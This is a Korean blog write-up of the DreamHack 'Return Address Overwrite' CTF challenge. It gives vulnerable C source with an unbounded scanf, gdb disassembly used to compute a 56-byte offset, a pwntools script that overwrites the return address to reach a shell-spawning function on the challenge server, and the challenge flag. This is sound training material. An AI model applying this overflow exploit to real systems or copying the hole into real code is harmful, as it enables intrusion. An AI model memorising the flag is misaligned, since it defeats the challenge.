본문 바로가기

Pwnable

[DreamHack] Return Address Overwrite Write-Up

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

buf 배열은 0x28 바이트 크기로 선언된 40바이트 크기의 버퍼인데, scanf 함수를 사용하여 문자열을 입력받을 때 40바이트보다 큰 입력을 제공하면 버퍼 오버플로우가 발생하게 된다.

 
짧은 입력을 주었을 때와는 다르게, "Segmentation fault"라는 오류가 출력되고 프로그램이 비정상적으로 종료된다. 이 오류는 프로그램이 잘못된 메모리 주소에 접근하려고 시도했음을 나타내며 이는 프로그램에 버그가 있음을 나타낸다.

 

 

 

user@user-virtual-machine:~/HB_3week$ gdb rao
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 147 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from rao...
(No debugging symbols found in rao)
------- tip of the day (disable with set show-tips off) -------
Pwndbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see info signals for full GDB signals configuration
pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400510  _init
0x0000000000400540  printf@plt
0x0000000000400550  execve@plt
0x0000000000400560  setvbuf@plt
0x0000000000400570  __isoc99_scanf@plt
0x0000000000400580  _start
0x00000000004005b0  _dl_relocate_static_pie
0x00000000004005c0  deregister_tm_clones
0x00000000004005f0  register_tm_clones
0x0000000000400630  __do_global_dtors_aux
0x0000000000400660  frame_dummy
0x0000000000400667  init
0x00000000004006aa  get_shell
0x00000000004006e8  main
0x0000000000400730  __libc_csu_init
0x00000000004007a0  __libc_csu_fini
0x00000000004007a4  _fini
pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006e8 <+0>:	push   rbp
   0x00000000004006e9 <+1>:	mov    rbp,rsp
   0x00000000004006ec <+4>:	sub    rsp,0x30
   0x00000000004006f0 <+8>:	mov    eax,0x0
   0x00000000004006f5 <+13>:	call   0x400667 <init>
   0x00000000004006fa <+18>:	lea    rdi,[rip+0xbb]        # 0x4007bc
   0x0000000000400701 <+25>:	mov    eax,0x0
   0x0000000000400706 <+30>:	call   0x400540 <printf@plt>
   0x000000000040070b <+35>:	lea    rax,[rbp-0x30]
   0x000000000040070f <+39>:	mov    rsi,rax
   0x0000000000400712 <+42>:	lea    rdi,[rip+0xab]        # 0x4007c4
   0x0000000000400719 <+49>:	mov    eax,0x0
   0x000000000040071e <+54>:	call   0x400570 <__isoc99_scanf@plt>
   0x0000000000400723 <+59>:	mov    eax,0x0
   0x0000000000400728 <+64>:	leave  
   0x0000000000400729 <+65>:	ret    
End of assembler dump.
pwndbg>

main 함수 disassemble

1)  rsi 레지스터에 rbp-0x30 의 주소를 저장하는 것을 볼 수 있다.

이를 봤을 때 buf 의 주소가 rbp-0x30 인 것을 알 수 있고, ret = rbp + 0x08 이므로 두 주소 사이의 바이트 차이는

rbp + 0x08 (ret의 위치) - (rbp - 0x30) (buf의 위치) = 0x30 +0x08 = 0x38(56)bytes 이다.

 

2)sub rsp, 0x30 어셈블리를 통해 (지역변수 + dummy) 크기가 48임을 알 수 있다.   

64-bit machine은 주소 크기가 8 bytes를 차지하기에 SFP 크기가 8 bytes 임을 알 수 있다.    

즉, Return address에 get_shell() 함수의 주소를 overwrite 하기 위해서는 지역변수+ dummy(48) + SFP(8)를 쓰레기값으로 채우면 된다.

from pwn import *

p = remote("host3.dreamhack.games", 9067)
e = ELF("./rao")

get_shell = e.symbols["get_shell"]

payload = b''
payload += b"A"*56
payload += p64(get_shell)

p.recvuntil(b"Input:")
p.sendline(payload)
p.interactive()

 

 

Flag is
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}

'Pwnable' 카테고리의 다른 글

[DreamHack] Out of bound Write-Up  (0) 2024.09.22
[Dreamhack] basic_exploitation_001 Write-Up  (0) 2024.09.19
[DreamHack] shell_basic Write-Up  (0) 2024.09.19
[DreamHack] hook Write-Up  (0) 2024.09.18
[DreamHack] oneshot Write-Up  (0) 2024.09.18